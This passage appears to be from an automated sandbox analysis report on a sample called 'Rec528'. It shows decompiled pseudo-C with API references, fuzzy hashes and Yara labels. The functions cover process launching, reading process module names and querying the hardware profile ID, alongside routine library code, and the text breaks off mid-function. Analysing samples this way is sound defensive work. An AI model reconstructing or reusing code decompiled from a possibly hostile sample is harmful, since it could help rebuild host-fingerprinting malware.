0x00420fe1
0x00000000

APIs

Part of subcall function 0042073B: GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 00420783

WriteFile.KERNEL32(?,00000000,00000000,?,00000000,0000000C,00000000,00000000,?,?,?,00000000,?,?,?,00000000), ref: 004210EE
GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00000000), ref: 004210F8
__dosmaperr.LIBCMT ref: 00421137

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID:
API String ID: 910155933-0
Opcode ID: e24a92b2f476dda8a345309e2f2059689fa752e10403ff131c579cb01226544e
Instruction ID: 8684d1329ffc85c4babdefda143425fec52b07a6a39e87effd7a495816758652
Opcode Fuzzy Hash: e24a92b2f476dda8a345309e2f2059689fa752e10403ff131c579cb01226544e
Instruction Fuzzy Hash: 24513871F00169ABDF209FA5E804FEF7BB5AF19314F94005BE500A7262D339DA82C769

Uniqueness

Uniqueness Score: -1.00%

Function 00405420 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405420(int* __ecx, long __edx) {
				signed int _v8;
				char _v268;
				int* _v272;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				intOrPtr _t14;
				void* _t21;
				intOrPtr* _t23;
				void* _t29;
				void* _t30;
				int* _t31;
				signed int _t32;

				_t11 =  *0x43d054; // 0x298e9dc2
				_v8 = _t11 ^ _t32;
				_t31 = __ecx;
				_v272 = __ecx;
				_v272 = __ecx;
				_t30 = OpenProcess(0x410, 0, __edx);
				if(_t30 != 0) {
					__imp__K32GetModuleFileNameExA(_t30, 0,  &_v268, 0x104); // executed
					FindCloseChangeNotification(_t30); // executed
				}
				_t23 =  &_v268;
				 *_t31 = 0;
				_t31[4] = 0;
				_t29 = _t23 + 1;
				_t31[5] = 0xf;
				 *_t31 = 0;
				do {
					_t14 =  *_t23;
					_t23 = _t23 + 1;
				} while (_t14 != 0);
				E004026C0(_t21, _t31,  &_v268, _t23 - _t29);
				return E0040EB3F(_t31, _t21, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x00405429
0x00405430
0x00405436
0x0040543a
0x00405445
0x00405451
0x00405455
0x00405466
0x0040546d
0x0040546d
0x00405473
0x00405479
0x0040547f
0x00405486
0x00405489
0x00405490
0x00405493
0x00405493
0x00405495
0x00405496
0x004054a6
0x004054bc

APIs

OpenProcess.KERNEL32(00000410,00000000,?,00450D41,00000000), ref: 0040544B
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,00450D41,00000000), ref: 00405466
FindCloseChangeNotification.KERNEL32(00000000,?,00450D41,00000000), ref: 0040546D

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ChangeCloseFileFindModuleNameNotificationOpenProcess
String ID:
API String ID: 4186666201-0
Opcode ID: f6e5159dd284751ee93d037bf004092736d7d04415075a92785d478ddeb92642
Instruction ID: 829f4f66f58d42bfe2c112fba26a353ac732f0a9bd137df87df4f1daa9280949
Opcode Fuzzy Hash: f6e5159dd284751ee93d037bf004092736d7d04415075a92785d478ddeb92642
Instruction Fuzzy Hash: 541126306002189BD720DF25DC05BFBBBB4DB45700F0006AEE58597280DBF95A86CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004066A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
processCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E004066A0(void* __ebx, CHAR* __ecx, void* __edi, struct _SECURITY_ATTRIBUTES** _a4, intOrPtr _a24) {
				signed int _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;
				signed int _v116;
				char _v132;
				struct tagHW_PROFILE_INFOA _v240;
				struct _SECURITY_ATTRIBUTES** _v244;
				void* __esi;
				void* __ebp;
				signed int _t28;
				struct _SECURITY_ATTRIBUTES** _t35;
				signed int _t40;
				signed int _t43;
				signed int _t44;
				signed int _t49;
				struct _SECURITY_ATTRIBUTES** _t58;
				intOrPtr* _t63;
				intOrPtr _t70;
				void* _t73;
				signed int _t75;
				void* _t77;
				struct _SECURITY_ATTRIBUTES** _t78;
				signed int _t79;
				signed int _t80;
				signed int _t81;

				_t74 = __edi;
				_t54 = __ebx;
				_t28 =  *0x43d054; // 0x298e9dc2
				_v8 = _t28 ^ _t79;
				_v100.cb = 0x44;
				asm("xorps xmm0, xmm0");
				_t31 =  >=  ? _a4 :  &_a4;
				asm("movlpd [ebp-0x5c], xmm0");
				asm("movlpd [ebp-0x54], xmm0");
				asm("movlpd [ebp-0x4c], xmm0");
				asm("movlpd [ebp-0x44], xmm0");
				asm("movlpd [ebp-0x3c], xmm0");
				asm("movlpd [ebp-0x34], xmm0");
				asm("movlpd [ebp-0x2c], xmm0");
				asm("movlpd [ebp-0x24], xmm0");
				asm("movups [ebp-0x14], xmm0"); // executed
				CreateProcessA(__ecx,  >=  ? _a4 :  &_a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24); // executed
				_t70 = _a24;
				_t77 =  !=  ? _v24.dwProcessId : _t75 | 0xffffffff;
				if(_t70 < 0x10) {
					L4:
					return E0040EB3F(_t77, _t54, _v8 ^ _t79, _t70, _t74, _t77);
				} else {
					_t58 = _a4;
					_t70 = _t70 + 1;
					_t35 = _t58;
					if(_t70 < 0x1000) {
						L3:
						_push(_t70);
						E0040ED7F(_t58);
						goto L4;
					} else {
						_t58 =  *(_t58 - 4);
						_t70 = _t70 + 0x23;
						if(_t35 - _t58 + 0xfffffffc > 0x1f) {
							E004134A7(__ebx, _t70, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t79);
							_t80 = _t81;
							_t40 =  *0x43d054; // 0x298e9dc2
							_v116 = _t40 ^ _t80;
							_push(_t77);
							_t78 = _t58;
							_v244 = _t78;
							_v244 = _t78;
							_t43 = GetCurrentHwProfileA( &_v240); // executed
							__eflags = _t43;
							if(__eflags == 0) {
								_t44 = E00417D76(_t58, __eflags);
								asm("cdq");
								E004055C0(_t78, _t44 % 0xa + 5);
								__eflags = _v24.dwThreadId ^ _t80;
								return E0040EB3F(_t78, __ebx, _v24.dwThreadId ^ _t80, _t44 % 0xa + 5, __edi, _t78);
							} else {
								_t63 =  &_v132;
								 *_t78 = 0;
								_t78[4] = 0;
								_t73 = _t63 + 1;
								_t78[5] = 0xf;
								 *_t78 = 0;
								do {
									_t49 =  *_t63;
									_t63 = _t63 + 1;
									__eflags = _t49;
								} while (_t49 != 0);
								E004026C0(__ebx, _t78,  &_v132, _t63 - _t73);
								__eflags = _v24.dwThreadId ^ _t80;
								return E0040EB3F(_t78, __ebx, _v24.dwThreadId ^ _t80, _t73, __edi, _t78);
							}
						} else {
							goto L3;
						}
					}
				}
			}

0x004066a0
0x004066a0
0x004066a6
0x004066ad
0x004066bc
0x004066cc
0x004066d2
0x004066dc
0x004066e1
0x004066e6
0x004066eb
0x004066f0
0x004066f5
0x004066fa
0x004066ff
0x00406704
0x00406708
0x0040670e
0x00406716
0x0040671d
0x00406747
0x00406757
0x0040671f
0x0040671f
0x00406722
0x00406723
0x0040672b
0x0040673d
0x0040673d
0x0040673f
0x00000000
0x0040672d
0x0040672d
0x00406730
0x0040673b
0x00406758
0x0040675d
0x0040675e
0x0040675f
0x00406760
0x00406761
0x00406769
0x00406770
0x00406773
0x00406774
0x00406779
0x00406780
0x00406786
0x0040678c
0x0040678e
0x004067d6
0x004067db
0x004067e8
0x004067f2
0x004067fd
0x00406790
0x00406790
0x00406793
0x00406799
0x004067a0
0x004067a3
0x004067aa
0x004067b0
0x004067b0
0x004067b2
0x004067b3
0x004067b3
0x004067c0
0x004067cb
0x004067d5
0x004067d5
0x00000000
0x00000000
0x00000000
0x0040673b
0x0040672b

APIs

CreateProcessA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00406708

Strings

D, xrefs: 004066BC

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 56e7ec7c83a71b3177fb2ad6e4ebb4b6caa86bd31a1f3b5fe90937bfafde343f
Instruction ID: 30fa89b85bb580d64abfc6276995d55086d99e8358bcd070f94e939b3561ae1f
Opcode Fuzzy Hash: 56e7ec7c83a71b3177fb2ad6e4ebb4b6caa86bd31a1f3b5fe90937bfafde343f
Instruction Fuzzy Hash: BB21B331E1034CA7DB14DFA5CE457ADB7B2EB99704F109319F5157A184EB74AA808B84

Uniqueness

Uniqueness Score: -1.00%

Function 004285B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E004285B0(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				signed int _t22;
				void* _t25;
				signed int _t28;
				signed int _t29;

				_t25 = __ecx;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				if(E00419CDB(_t25, _a12,  &_v28, E00423A98(__edx, __eflags)) == 0) {
					_push(_a28);
					_t22 = E0042863E(_t25, __eflags, _a4, _a8, _v20, _a16, _a20, _a24); // executed
					_t29 = _t22;
				} else {
					_t29 = _t28 | 0xffffffff;
				}
				if(_v8 != 0) {
					E0041E238(_v20);
				}
				return _t29;
			}

0x004285b0
0x004285bb
0x004285be
0x004285c1
0x004285c4
0x004285c7
0x004285ca
0x004285e4
0x004285eb
0x00428600
0x00428608
0x004285e6
0x004285e6
0x004285e6
0x0042860e
0x00428613
0x00428618
0x0042861d

APIs

_free.LIBCMT ref: 00428613

Strings

xA, xrefs: 004285B2

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID: xA
API String ID: 269201875-523113891
Opcode ID: 521115d978e45e608ea96acc4bbcbcaa1d0163517ca36d6091db2ee742d9455d
Instruction ID: abadc60d9d5482227ee59285e73ab8488396fa896db33f31679a295bd9fdab7c
Opcode Fuzzy Hash: 521115d978e45e608ea96acc4bbcbcaa1d0163517ca36d6091db2ee742d9455d
Instruction Fuzzy Hash: C2017172D01119BFCF01AFA8DC019DE7FB5BB08314F54016AF914A2191E6358A60DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0041A59D Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0041A59D(void* __ebx, void* __ecx) {
				void* _t2;
				intOrPtr _t3;
				signed int _t13;
				signed int _t14;

				if( *0x450898 == 0) {
					_push(_t13);
					E00424803(__ebx); // executed
					_t2 = E00424B10(__ecx); // executed
					_t17 = _t2;
					if(_t2 != 0) {
						_t3 = E0041A5F0(__ebx, _t17);
						if(_t3 != 0) {
							 *0x4508a4 = _t3;
							_t14 = 0;
							 *0x450898 = _t3;
						} else {
							_t14 = _t13 | 0xffffffff;
						}
						E0041E238(0);
					} else {
						_t14 = _t13 | 0xffffffff;
					}
					E0041E238(_t17);
					return _t14;
				} else {
					return 0;
				}
			}

0x0041a5a4
0x0041a5aa
0x0041a5ab
0x0041a5b0
0x0041a5b5
0x0041a5b9
0x0041a5c1
0x0041a5c9
0x0041a5d0
0x0041a5d5
0x0041a5d7
0x0041a5cb
0x0041a5cb
0x0041a5cb
0x0041a5de
0x0041a5bb
0x0041a5bb
0x0041a5bb
0x0041a5e5
0x0041a5ef
0x0041a5a6
0x0041a5a8
0x0041a5a8

APIs

_free.LIBCMT ref: 0041A5E5

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 526f0598ed6c5c09f80c27bed797f3bdec909cf5737d209df5188b07db91258f
Instruction ID: 72dc59d1b82574442c98349f250d0c3c419e23079047cae4ade360bd4076de00
Opcode Fuzzy Hash: 526f0598ed6c5c09f80c27bed797f3bdec909cf5737d209df5188b07db91258f
Instruction Fuzzy Hash: 42E06C3660F51165E255373BBC017E7159A8BC1375F25032BF414871D5EE7C84D254AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040CDD0 Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040CDD0(void* __ebx, signed int* __ecx, void* __edi, signed int __esi, char _a4, signed int _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				char _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				signed int _v104;
				intOrPtr _t185;
				signed int _t189;
				signed int _t192;
				intOrPtr _t202;
				void* _t213;
				intOrPtr _t214;
				void* _t217;
				char _t218;
				void* _t221;
				unsigned int _t225;
				void* _t226;
				signed int _t237;
				signed int _t239;
				void* _t245;
				signed int _t247;
				signed int _t250;
				signed int _t252;
				signed int _t265;
				signed int _t266;
				signed int _t274;
				signed int _t275;
				signed int _t291;
				void* _t292;
				signed int _t293;
				unsigned int* _t295;
				signed int _t296;
				signed int* _t297;
				intOrPtr _t301;
				unsigned int _t303;
				unsigned int _t305;
				unsigned int _t307;
				signed int _t310;
				unsigned int _t315;
				intOrPtr _t317;
				char* _t318;
				intOrPtr _t319;
				signed int* _t320;
				signed int _t321;
				void* _t328;
				signed int _t335;
				signed int _t339;
				signed int _t345;
				signed int _t351;
				unsigned int _t353;
				signed int _t361;
				signed int _t370;
				intOrPtr _t371;
				char _t372;
				signed int* _t373;
				signed int* _t374;
				signed int _t392;
				signed int* _t393;
				signed int _t394;
				intOrPtr _t396;
				signed int _t399;
				signed int _t401;
				signed int _t406;
				signed int _t407;
				char* _t409;
				void* _t419;
				signed int _t420;
				signed int _t421;
				void* _t422;
				void* _t430;
				signed int _t431;
				signed int _t432;
				void* _t433;
				void* _t438;
				void* _t441;

				_t406 = __esi;
				_t419 = _t430;
				_t431 = _t430 - 0x14;
				_v20 = _a8;
				_push(__ebx);
				_t295 = __ecx;
				_t307 = _a4;
				_push(__esi);
				_v12 = _t307;
				_push(__edi);
				_t392 =  *__ecx;
				_t310 = __ecx[1] - _t392;
				_v16 = __ecx;
				_v8 = (0x2aaaaaab * (_t307 - _t392) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t307 - _t392) >> 0x20 >> 2);
				_t365 = 0x2aaaaaab * _t310 >> 0x20 >> 2;
				_t185 = (0x2aaaaaab * _t310 >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * _t310 >> 0x20 >> 2);
				_v24 = _t185;
				if(_t185 == 0xaaaaaaa) {
					L19:
					E0040D3F0(_t310, _t406);
					goto L20;
				} else {
					_t406 = _t185 + 1;
					_t310 = (0x2aaaaaab * (__ecx[2] - _t392) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (__ecx[2] - _t392) >> 0x20 >> 2);
					_t365 = _t310 >> 1;
					if(_t310 > 0xaaaaaaa - _t365) {
						L18:
						E004018C0();
						goto L19;
					} else {
						_t310 =  >=  ? _t365 + _t310 : _t406;
						if(_t310 > 0xaaaaaaa) {
							goto L18;
						} else {
							_t392 = _t310 + _t310 * 2 << 3;
							if(_t392 < 0x1000) {
								__eflags = _t392;
								if(__eflags == 0) {
									_t406 = 0;
									__eflags = 0;
								} else {
									_t291 = E0040ED4F(__ecx, _t392, _t406, __eflags, _t392); // executed
									_t431 = _t431 + 4;
									_t406 = _t291;
								}
								goto L10;
							} else {
								_t26 = _t392 + 0x23; // 0x23
								_t292 = _t26;
								_t449 = _t292 - _t392;
								if(_t292 <= _t392) {
									goto L18;
								} else {
									_t293 = E0040ED4F(__ecx, _t392, _t406, _t449, _t292);
									_t431 = _t431 + 4;
									if(_t293 == 0) {
										L20:
										E004134A7(_t295, _t365, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t419);
										_t420 = _t431;
										_push(0xffffffff);
										_push(0x42cc50);
										_push( *[fs:0x0]);
										_t432 = _t431 - 0x24;
										_push(_t295);
										_push(_t406);
										_push(_t392);
										_t189 =  *0x43d054; // 0x298e9dc2
										_push(_t189 ^ _t420);
										 *[fs:0x0] =  &_v48;
										_v52 = _t432;
										_t393 = _t310;
										_t192 = _v28;
										_t296 =  *_t393;
										_v68 = _t192;
										_v72 = _v24;
										_t315 = _t393[1] - _t296;
										_v64 = (0x2aaaaaab * (_t192 - _t296) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t192 - _t296) >> 0x20 >> 2);
										_t369 = 0x2aaaaaab * _t315 >> 0x20 >> 2;
										_t202 = (0x2aaaaaab * _t315 >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * _t315 >> 0x20 >> 2);
										_v76 = _t202;
										__eflags = _t202 - 0xaaaaaaa;
										if(_t202 == 0xaaaaaaa) {
											L41:
											E0040D3F0(_t315, _t406);
											goto L42;
										} else {
											_t406 = _t202 + 1;
											_t315 = (0x2aaaaaab * (_t393[2] - _t296) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t393[2] - _t296) >> 0x20 >> 2);
											_t369 = _t315 >> 1;
											__eflags = _t315 - 0xaaaaaaa - _t369;
											if(_t315 > 0xaaaaaaa - _t369) {
												L40:
												E004018C0();
												goto L41;
											} else {
												_t245 = _t369 + _t315;
												__eflags = _t245 - _t406;
												_t296 =  >=  ? _t245 : _t406;
												__eflags = _t296 - 0xaaaaaaa;
												if(_t296 > 0xaaaaaaa) {
													goto L40;
												} else {
													_v28 = _t296;
													_t247 = _t296 + _t296 * 2 << 3;
													_v52 = _t247;
													__eflags = _t247 - 0x1000;
													if(_t247 < 0x1000) {
														__eflags = _t247;
														if(__eflags == 0) {
															_t406 = 0;
															__eflags = 0;
														} else {
															_t265 = E0040ED4F(_t296, _t393, _t406, __eflags, _t247);
															_t432 = _t432 + 4;
															_t406 = _t265;
														}
														_v28 = _t296;
														goto L32;
													} else {
														_t96 = _t247 + 0x23; // 0xaaaaacd
														_t315 = _t96;
														__eflags = _t315 - _t247;
														if(__eflags <= 0) {
															goto L40;
														} else {
															_t266 = E0040ED4F(_t296, _t393, _t406, __eflags, _t315);
															_t432 = _t432 + 4;
															__eflags = _t266;
															if(__eflags == 0) {
																L42:
																E004134A7(_t296, _t369, __eflags);
																E0040C4B0(_t315, _v56, _v56);
																E0040C4D0(_t296, _v32, _v28);
																E004103CB(0, 0);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t420);
																_t421 = _t432;
																_t433 = _t432 - 8;
																_push(_t296);
																_t297 = _t315;
																_t316 = 0x7fffffff;
																_push(_t406);
																_push(_t393);
																_t370 = _t297[4];
																_v104 = _t370;
																__eflags = 0x7fffffff - _t370 - 1;
																if(0x7fffffff - _t370 < 1) {
																	E00401960(_t297, 0x7fffffff, _t393);
																	goto L63;
																} else {
																	_t406 = _t297[5];
																	_t399 = _t370 + 0x00000001 | 0x0000000f;
																	_v20 = _t406;
																	__eflags = _t399 - 0x7fffffff;
																	if(__eflags <= 0) {
																		_t225 = _t406 >> 1;
																		__eflags = _t406 - 0x7fffffff - _t225;
																		if(__eflags <= 0) {
																			_t226 = _t225 + _t406;
																			__eflags = _t399 - _t226;
																			_t393 =  <  ? _t226 : _t399;
																		} else {
																			_t393 = 0x7fffffff;
																		}
																	} else {
																		_t393 = 0x7fffffff;
																	}
																	_t316 =  ~(0 | __eflags > 0x00000000) |  &(_t393[0]);
																	__eflags = _t316 - 0x1000;
																	if(_t316 < 0x1000) {
																		__eflags = _t316;
																		if(__eflags == 0) {
																			_t406 = 0;
																			__eflags = 0;
																		} else {
																			_t237 = E0040ED4F(_t297, _t393, _t406, __eflags, _t316);
																			_t370 = _v16;
																			_t433 = _t433 + 4;
																			_t406 = _t237;
																		}
																		goto L56;
																	} else {
																		_t145 = _t316 + 0x23; // 0x23
																		_t238 = _t145;
																		__eflags = _t145 - _t316;
																		if(__eflags <= 0) {
																			L63:
																			E004018C0();
																			goto L64;
																		} else {
																			_t239 = E0040ED4F(_t297, _t393, _t406, __eflags, _t238);
																			_t433 = _t433 + 4;
																			__eflags = _t239;
																			if(__eflags == 0) {
																				L64:
																				_t213 = E004134A7(_t297, _t370, __eflags);
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				_push(_t421);
																				_t422 = _t433;
																				_push(_t406);
																				_push(_t393);
																				_t394 = _t370;
																				_t407 = _t316;
																				__eflags = _t407 - _t394;
																				if(_t407 == _t394) {
																					L73:
																					return _t213;
																				} else {
																					do {
																						_t317 =  *((intOrPtr*)(_t407 + 0x14));
																						__eflags = _t317 - 0x10;
																						if(_t317 < 0x10) {
																							goto L72;
																						} else {
																							_t214 =  *_t407;
																							_t318 = _t317 + 1;
																							__eflags = _t318 - 0x1000;
																							if(_t318 < 0x1000) {
																								L71:
																								_push(_t318);
																								_t213 = E0040ED7F(_t214);
																								_t433 = _t433 + 8;
																								goto L72;
																							} else {
																								_t371 =  *((intOrPtr*)(_t214 - 4));
																								_t318 = _t318 + 0x23;
																								__eflags = _t214 - _t371 + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									_t217 = E004134A7(_t297, _t371, __eflags);
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									_push(_t422);
																									_push(_t407);
																									_push(_t394);
																									_t396 = _t371;
																									_t409 = _t318;
																									__eflags = _t409 - _t396;
																									if(_t409 == _t396) {
																										L83:
																										return _t217;
																									} else {
																										do {
																											_t319 =  *((intOrPtr*)(_t409 + 0x14));
																											__eflags = _t319 - 0x10;
																											if(_t319 < 0x10) {
																												goto L82;
																											} else {
																												_t218 =  *_t409;
																												_t320 = _t319 + 1;
																												__eflags = _t320 - 0x1000;
																												if(_t320 < 0x1000) {
																													L81:
																													_push(_t320);
																													_t217 = E0040ED7F(_t218);
																													_t433 = _t433 + 8;
																													goto L82;
																												} else {
																													_t372 =  *((intOrPtr*)(_t218 - 4));
																													_t320 =  &(_t320[8]);
																													__eflags = _t218 - _t372 + 0xfffffffc - 0x1f;
																													if(__eflags > 0) {
																														_t221 = E004134A7(_t297, _t372, __eflags);
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														_t321 =  *_t320;
																														__eflags = _t321;
																														if(_t321 != 0) {
																															return  *((intOrPtr*)( *_t321))("true");
																														}
																														return _t221;
																													} else {
																														_t218 = _t372;
																														goto L81;
																													}
																												}
																											}
																											goto L88;
																											L82:
																											 *((intOrPtr*)(_t409 + 0x10)) = 0;
																											 *((intOrPtr*)(_t409 + 0x14)) = 0xf;
																											 *_t409 = 0;
																											_t409 = _t409 + 0x18;
																											__eflags = _t409 - _t396;
																										} while (_t409 != _t396);
																										goto L83;
																									}
																								} else {
																									_t214 = _t371;
																									goto L71;
																								}
																							}
																						}
																						goto L88;
																						L72:
																						 *((intOrPtr*)(_t407 + 0x10)) = 0;
																						 *((intOrPtr*)(_t407 + 0x14)) = 0xf;
																						 *_t407 = 0;
																						_t407 = _t407 + 0x1c;
																						__eflags = _t407 - _t394;
																					} while (_t407 != _t394);
																					goto L73;
																				}
																			} else {
																				_t370 = _v16;
																				_t147 = _t239 + 0x23; // 0x23
																				_t406 = _t147 & 0xffffffe0;
																				 *(_t406 - 4) = _t239;
																				L56:
																				__eflags = _v20 - 0x10;
																				_t297[4] = _t370 + 1;
																				_t297[5] = _t393;
																				_push(_t370);
																				if(_v20 < 0x10) {
																					_push(_t297);
																					_push(_t406);
																					E00410440();
																					_t373 = _v16;
																					 *((char*)(_t406 + _t373)) = _a4;
																					 *((char*)(_t406 + _t373 + 1)) = 0;
																					 *_t297 = _t406;
																					return _t297;
																				} else {
																					_t401 =  *_t297;
																					_push(_t401);
																					_push(_t406);
																					E00410440();
																					_t374 = _v16;
																					_t433 = _t433 + 0xc;
																					_t328 = _v20 + 1;
																					 *((char*)(_t406 + _t374)) = _a4;
																					 *((char*)(_t406 + _t374 + 1)) = 0;
																					__eflags = _t328 - 0x1000;
																					if(_t328 < 0x1000) {
																						L60:
																						_push(_t328);
																						E0040ED7F(_t401);
																						 *_t297 = _t406;
																						return _t297;
																					} else {
																						_t370 =  *(_t401 - 4);
																						_t316 = _t328 + 0x23;
																						_t393 = _t401 - _t370;
																						__eflags = _t393 - 4 - 0x1f;
																						if(__eflags > 0) {
																							goto L64;
																						} else {
																							_t401 = _t370;
																							goto L60;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															} else {
																_t97 = _t266 + 0x23; // 0x23
																_t406 = _t97 & 0xffffffe0;
																 *(_t406 - 4) = _t266;
																L32:
																_v32 = _t406;
																_v12 = 0;
																_t250 = _t406 + (_v36 + _v36 * 2) * 8;
																_t301 = _t250 + 0x18;
																_v36 = _t250;
																_v56 = _t301;
																E0040BB10(_t301, _t250, _t369, _t393, _v44);
																_t334 =  *_t393;
																_t378 = _t393[1];
																_t252 = _v40;
																_push( *_t393);
																_push(_t406);
																__eflags = _t252 - _t393[1];
																if(_t252 != _t393[1]) {
																	E0040D980(_t334, _t252);
																	_t378 = _t393[1];
																	_t432 = _t432 + 4;
																	_t334 = _v40;
																	_push(_t301);
																}
																E0040D980(_t334, _t378);
																_t335 =  *_t393;
																_t438 = _t432 + 8;
																__eflags = _t335;
																if(_t335 == 0) {
																	L39:
																	 *_t393 = _t406;
																	_t393[1] = _t406 + (_v48 + 1 + (_v48 + 1) * 2) * 8;
																	_t339 = _v52 + _t406;
																	__eflags = _t339;
																	_t393[2] = _t339;
																	 *[fs:0x0] = _v20;
																	return _v36;
																} else {
																	_push(_t335);
																	L75();
																	_t303 =  *_t393;
																	_t432 = _t438 + 4;
																	_t345 = (0x2aaaaaab * (_t393[2] - _t303) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t393[2] - _t303) >> 0x20 >> 2) + ((0x2aaaaaab * (_t393[2] - _t303) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t393[2] - _t303) >> 0x20 >> 2)) * 2 << 3;
																	__eflags = _t345 - 0x1000;
																	if(_t345 < 0x1000) {
																		L38:
																		_push(_t345);
																		E0040ED7F(_t303);
																		goto L39;
																	} else {
																		_t369 =  *(_t303 - 4);
																		_t315 = _t345 + 0x23;
																		_t296 = _t303 - _t369;
																		__eflags = _t296 - 4 - 0x1f;
																		if(__eflags > 0) {
																			goto L42;
																		} else {
																			_t303 = _t369;
																			goto L38;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t27 = _t293 + 0x23; // 0x23
										_t406 = _t27 & 0xffffffe0;
										 *(_t406 - 4) = _t293;
										L10:
										_t351 = _v20;
										_t274 = _v8 + _v8 * 2;
										 *((intOrPtr*)(_t406 + _t274 * 8)) = 0;
										_t275 = _t406 + _t274 * 8;
										 *((intOrPtr*)(_t275 + 0x10)) = 0;
										 *((intOrPtr*)(_t275 + 0x14)) = 0;
										asm("movups xmm0, [ecx]");
										_v8 = _t275;
										asm("movups [eax], xmm0");
										asm("movq xmm0, [ecx+0x10]");
										asm("movq [eax+0x10], xmm0");
										_t276 = _v12;
										 *((intOrPtr*)(_t351 + 0x10)) = 0;
										 *((intOrPtr*)(_t351 + 0x14)) = 0xf;
										 *_t351 = 0;
										_t352 =  *_t295;
										_t386 = _t295[1];
										_push( *_t295);
										_push(_t406);
										if(_v12 != _t295[1]) {
											E0040D980(_t352, _t276);
											_t431 = _t431 + 4;
